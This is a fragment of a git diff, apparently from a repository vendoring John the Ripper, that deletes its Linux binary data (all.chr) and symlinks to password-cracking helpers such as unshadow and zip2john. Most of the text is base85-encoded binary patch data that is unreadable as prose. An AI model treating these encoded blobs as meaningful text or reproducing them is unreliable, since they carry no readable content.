z)=(ncN;ZYDBGQs1VG6mzD8~;Hrcf*7Io?K?LcXw{<3A-#+ht)N$9EB?5G)LGd>dg3 zy+RMiHxs6iD|B(ZjxdE&^dsKsVpkGw)0^Y^pz+-(RUQ z{pjI57f0Cwjag5_;G@AoT3bC^`qN7TOz+DZ?&2t4+Ch8j+3=TWhi%r)cMbn|5H@+Q zZkBEZSv(HoO(^JDzutE|{m%2HaUj>Rk(QQ_uez7_XS1H!aIX&@$iV`7O5<&n4>SA_ zsW(TCg^RyCHgd5=b2MYQeEo|MIQrhY+-*hO{8Z0*%EE^zl=Q;|Z#eVYS>d(Ewf;4c zoL2PpehB`SzGJ@LpP>-WeCqP`_KA|)SIvwLP$kBFxOyl~jhj#^HNJ*x8ON9Q>qR)a zK#tXI<1*Jv#Hhg75?TDOYQc8@Eb~CcI&^&4={7_9+9nz(K!0Ddiuf z{9MYv zosbD@*;# z?J5P6a9IyeLkXbldOc^9me)7GsGBe8OFz_eo7Q_G=I`~jztVkooYtFvZM8yed~kYy z??yLu^Ap{C(=y4Y`Ifa9a!V%f;`2j8uxJPq_2y*6G%ys5@FX{B$4E10*3_H7v0nPT zSgbdX9HfEW-uI5L*Fp#lg>Z?O?^#9E;tuikPJqyJtuFjZ(9QR1|6pB@8XlPu^XxEf zUe@|a=+S2#x7@{O-AJX?mFq+(T&^T*V3ytgz z!9(O5dNpKtk_IZ9=;pjo&vSnGM|dPvs&C*@hv-SyDs&H+zFMAZqgnuX^)8ZZV(NkM;)DdlD*p=^#L| z_Miiq^H}E*7%P zhGU1`##)j3Th=V$7A+Xt0Il<|%IymJ>&$Zz^MW-<>y`Z*KK7Wt@^U^I=>|Rfqu?62 z(z8znHONTz@u1G-lfecqe;&M#%U=YWAoWL%&~%Or{}KytjeLp)e#_d0ws|^c1=5yG!v1r-3>(Hfx&!M41&*Fkf z8-4+@@0f1Bs{86jVe|MW#o{e}@B0RR2m{}NRl#tsqgb0CJ^{V(FZh{|yFcj4ygSR< zNvdnl_nVBp#uFp)C8CUoY7(tf~ zcW&;!HXr`E+qwo`eFs)5CUXSa=!nZIpPByn4>M}NIWv89W_rJ%)hJbyKLE|gH;55T z>yp=cn46?rvYS?iz-l1YR)I@Y{p|vK6y6|kslv+yE>rj_foI7+VG6v~Y;e?{zAg$E zda|-sgVM8DZG^M9x6?J)7y?_ihVKt=4L>k~FkE*Dh2g6di4#~vtZ@KyIsSt642kaM&QJa_g zhYDy@+?_vwmm7-4O*e!M{|)yTmHfQ4=zbV~^=Ro2XX8-@mg6s>&$|H*orLAk>!Qmv zzg7dOKBYI8-izv`Baxi(9K-fko*8%f2FkF*)MszBw&2#u>&@qG&$f7dz4WTa zH}JQ(Vxuju&pzbW&1bR8hKK2CxIXuQH}if81@u1b4|VHd>+9VPZ3^jEput1>A9=w& z=IRJ5EY5nWGfUUh5k((}9`k*)!AU z=nz1QvNh%V)Xek|&~j{aLrydFT7NH$DuplW`vL|e>=&>`!kq#xm+(OW*GRZUKuyAk zfVzMfy=JWiCA!j=#){S!t#5sZpqKgK?4$g6#YU zW(C+#kJO9`&GZp?Dn;3YWt5rlB`QEZV|$tYS-2>w-&C^q(yW zt>|X8cz=ISJeg`sbPBuHo5J_N?}iOG2AUJ;_E_gvjR0OL1<*pEC6R=0jofceMYqS- z5u56aCR+kqmW8(llJRJJ2k%2*OF9Lwp-^b6c+23rvSdBIqoyBzgBSwcP5F^cH8imY5T9EX+tO45q{a)k0eBnd=)^~mP zF6Qd?yGqJuc?Y3Od=>KOT#a1^tkQKTtRmpUc}LPil@YR#XZR$k5(_6hw|8 zH$eX}B0MzC-JVRThn{;Xmgn4iNR`^!gUtLIFDt(p^p_I(c@jB*`n#z~?k88W$K#>b z1{K=w(oETaoA;YGrJhSQ@eWM%$4~t}gFFcSohkd>Wtmx?xuA2NJ*6HRbH&6ZkGcm+ zSRKmrPPpeXjeU#y;Gs)}-{U1wDNsNRzGipn9#5`hKu*E(Oqqw?15`BNLOx^gGdf>m zOHpRBKM@pnQ9l-F>|gBuc{5Y~IjRxOEZ<$Wr!?moD0x&iv<9807YY?)F5V7`Os(UU zj&-cWCP~gzqWM^b><4cW$>;M?_wF*!SAZ(C%&dVDniZ6B4hM_0sJBU8wK3&V~l&Xq@_qlut=HB<0IezA5EdDKAJ_Q7-Hk zNg0yzMk()*@&PG3rTlX#2c-Oolut=HB<0IezA5EdDKALr9M5?iH9XzAapSr`4L;v4 z4Xg^`jeekJ^R{%SkrrrKZJMK%OYw>K|5$U?m-hMPHNSj6|9d_|saAYUF{0a82%l2o z$u1V^Oc?P{_~!a$Mszz1ZSPEnTBE5}7K-icOzrFt(nyM$hr~%c4K$)I8E=o0fh={k z8{{9KkwQki8(02yDwIs{uP~u_Yhz0?+7WMT#mAs2#6rzRBAG&iLOj@vO8AU+v^Ar_ z1l-^f;=Y9+e9VDSqN5|;X*lEJe~M{;p?g>D8_cZ%AxVPHLwi#9x#BKEf%X<?O^vMS^&Wv}+l z)v}>)N;`FKC_N>0)YG1zQHQ-c zR|2zzp;||>r?b;(zXKf2iJY#f@5xQHC`f9a1rmK#Ws)t(cKdF*Z+A<3dWN(o6*u&5 zhSIl@?e^;Lqx|wy%vc&?OvXdw~?f(n+ C-4{Us diff --git a/data/john/run.linux.x64.mmx/unafs b/data/john/run.linux.x64.mmx/unafs deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/unafs +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/undrop b/data/john/run.linux.x64.mmx/undrop deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/undrop +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/unique b/data/john/run.linux.x64.mmx/unique deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/unique +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/unshadow b/data/john/run.linux.x64.mmx/unshadow deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/unshadow +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x64.mmx/zip2john b/data/john/run.linux.x64.mmx/zip2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x64.mmx/zip2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/all.chr b/data/john/run.linux.x86.any/all.chr deleted file mode 100644 index 6c8c9dff534defb88d762c45ffb5cd6d3c218e67..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 341064 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 